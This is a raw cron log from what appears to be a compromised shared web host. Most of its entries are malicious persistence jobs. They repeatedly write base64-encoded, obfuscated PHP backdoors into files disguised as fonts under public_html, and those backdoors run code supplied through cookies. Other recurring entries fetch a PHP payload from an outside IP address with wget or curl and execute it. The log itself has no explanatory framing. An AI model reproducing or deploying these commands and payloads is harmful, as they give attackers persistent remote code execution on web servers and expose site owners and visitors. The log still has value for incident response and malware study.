Sep  1 14:51:01 ip-184-168-122-23 CROND[10242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:51:02 ip-184-168-122-23 CROND[10243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:52:01 ip-184-168-122-23 CROND[10333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:52:01 ip-184-168-122-23 CROND[10336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:52:01 ip-184-168-122-23 CROND[10337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:52:01 ip-184-168-122-23 CROND[10335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:52:01 ip-184-168-122-23 CROND[10338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:53:01 ip-184-168-122-23 CROND[10427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:53:01 ip-184-168-122-23 CROND[10431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:53:01 ip-184-168-122-23 CROND[10429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:53:01 ip-184-168-122-23 CROND[10430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:54:01 ip-184-168-122-23 CROND[10516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:54:01 ip-184-168-122-23 CROND[10520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:54:01 ip-184-168-122-23 CROND[10521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:54:01 ip-184-168-122-23 CROND[10519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:54:01 ip-184-168-122-23 CROND[10522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:55:01 ip-184-168-122-23 CROND[10625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:55:02 ip-184-168-122-23 CROND[10629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:55:02 ip-184-168-122-23 CROND[10630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:55:02 ip-184-168-122-23 CROND[10627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:55:02 ip-184-168-122-23 CROND[10628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:55:02 ip-184-168-122-23 CROND[10631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:56:02 ip-184-168-122-23 CROND[10811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:56:02 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:56:02 ip-184-168-122-23 CROND[10813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:56:02 ip-184-168-122-23 CROND[10817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:56:02 ip-184-168-122-23 CROND[10821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:57:01 ip-184-168-122-23 CROND[10909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:57:01 ip-184-168-122-23 CROND[10911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:57:01 ip-184-168-122-23 CROND[10912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:57:01 ip-184-168-122-23 CROND[10914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:58:01 ip-184-168-122-23 CROND[11018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:58:01 ip-184-168-122-23 CROND[11019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:58:01 ip-184-168-122-23 CROND[11022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:58:01 ip-184-168-122-23 CROND[11021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:58:01 ip-184-168-122-23 CROND[11024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:59:01 ip-184-168-122-23 CROND[11124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:59:01 ip-184-168-122-23 CROND[11127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:59:01 ip-184-168-122-23 CROND[11128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:59:01 ip-184-168-122-23 CROND[11126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:00:02 ip-184-168-122-23 CROND[11227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:00:02 ip-184-168-122-23 CROND[11230]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:00:02 ip-184-168-122-23 CROND[11233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:00:02 ip-184-168-122-23 CROND[11237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:00:02 ip-184-168-122-23 CROND[11232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:00:02 ip-184-168-122-23 CROND[11235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:00:02 ip-184-168-122-23 CROND[11234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:00:02 ip-184-168-122-23 CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:01:01 ip-184-168-122-23 CROND[11345]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11345]: starting 0anacron
Sep  1 15:01:01 ip-184-168-122-23 CROND[11349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:01:01 ip-184-168-122-23 CROND[11359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11356]: finished 0anacron
Sep  1 15:01:01 ip-184-168-122-23 CROND[11360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:01:01 ip-184-168-122-23 CROND[11358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:01:01 ip-184-168-122-23 CROND[11357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:02:01 ip-184-168-122-23 CROND[11472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:02:01 ip-184-168-122-23 CROND[11474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:02:01 ip-184-168-122-23 CROND[11475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:02:01 ip-184-168-122-23 CROND[11476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:02:01 ip-184-168-122-23 CROND[11477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:03:02 ip-184-168-122-23 CROND[11574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
